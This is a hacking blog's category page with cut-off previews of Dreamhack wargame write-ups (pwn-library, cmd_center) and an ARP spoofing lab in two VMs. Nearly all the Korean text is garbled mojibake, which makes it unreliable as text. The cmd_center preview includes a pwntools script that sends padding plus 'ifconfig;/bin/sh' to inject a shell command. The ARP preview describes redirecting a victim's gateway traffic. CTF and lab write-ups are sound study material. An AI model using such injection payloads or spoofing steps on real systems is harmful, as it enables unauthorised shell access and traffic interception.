๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

ํ•ดํ‚น

[dreamhack - wargame] pwn : pwn-library 2021. 6. 1. https://dreamhack.io/wargame/challenges/118 pwn-library Description ๋“œ๋ฆผ์ด๊ฐ€ ์˜ค๋žœ๋งŒ์— ๋„์„œ๊ด€์— ์™”์Šต๋‹ˆ๋‹ค! ์›ํ•˜๋Š” ์ฑ…์„ ์ฝ์–ด๋ณผ๊นŒ์š”? ํ”Œ๋ž˜๊ทธ๋Š” /home/pwnlibrary/flag.txt์— ์žˆ์Šต๋‹ˆ๋‹ค. dreamhack.io ๋ฌธ์ œ ํŒŒ์ผ (library.c) #include #include #include struct bookstruct{ char bookname[0x20]; char* contents; }; __uint32_t booksize; struct bookstruct listbook[0x50]; struct bookstruct secretbook; void booklist(){ printf("1. theori theory\n"); printf("..
[dreamhack - wargame] pwn : cmd_center 2021. 5. 31. https://dreamhack.io/wargame/challenges/117 cmd_center Description IP๋ฅผ ํ™•์ธํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค! ํ˜น์‹œ ๋‹ค๋ฅธ ๋ช…๋ น์–ด๋Š” ๋ชป์“ฐ๋‚˜์š”? ๋‹ค๋ฅธ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! References https://dreamhack.io/learn/2/1#3 https://dreamhack.io/learn/2/14#3 dreamhack.io pwntool์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘์„ฑํ•œ ์ฝ”๋“œ from pwn import * p = remote('host1.dreamhack.games', 20621)// ์ ‘์† p.sendline("asdfasdfasdfasdfasdfasdfasdfasdfifconfig;/bin/sh")// 32bit dummy + ๋ช…๋ น์–ด ์กฐ์ž‘ p.inte..
ARP Spoofing ์‹ค์Šต -wireshark ์‚ฌ์šฉ 2020. 11. 23. ๋จผ์ € VM 2๊ฐœ ์ค€๋น„ 192.168.224.129 192.168.224.130 ๊ฐ๊ฐ V, Victim๊ณผ A, Attacker๋กœ ์ง€์ •ํ•œ๋‹ค. โ€ป arp spoofing์„ ์ง„ํ–‰ํ•˜๊ฒŒ ๋˜๋ฉด MAC์ฃผ์†Œ๊ฐ€ ๋ฐ”๋€๋‹ค. ๊ทผ๋ฐ ์ด๊ฑธ ๋˜๋Œ๋ฆด ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์—†์–ด์„œ ๋‚˜์ค‘์— ๋‹ค์‹œ ํ•˜๋ ค๋ฉด ์ง€๊ธˆ ๋‹จ๊ณ„์—์„œ ์Šค๋ƒ…์ƒท ์ฐ์–ด๋‘๊ธฐ!! Attacker์™€ Victim ๊ฐ„์˜ ํ†ต์‹ ์„ ํ™•์ธํ•ด๋ณด์ž! ping์„ ์ณ๋ณด๋‹ˆ ์„œ๋กœ ์ž˜ ๋˜๋Š” ์ƒํ™ฉ! ์ด์ œ victim์—์„œ arp table์„ ํ™•์ธํ•ด๋ณด์ž! arp -a ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ™•์ธํ•ด๋ณด๋‹ˆ, ๊ฒŒ์ดํŠธ์›จ์ด์™€ Attacker๊ฐ€ ๋ณด์ธ๋‹ค. ์ง€๊ธˆ์€ ๋‘ MAC ์ฃผ์†Œ๊ฐ€ ์„œ๋กœ ๋‹ค๋ฆ„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์ด์ œ arpspoofing์„ ํ•˜๋ฉด vimtim->gateway์˜ ์„ธ์…˜์ด ๋Š์–ด์ง„๋‹ค. ๊ทธ๋Ÿผ ๋‚˜์ค‘์— arpspoofing๋„ ๋Š์–ด์ง€๋‹ˆ๊นŒ fr..

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”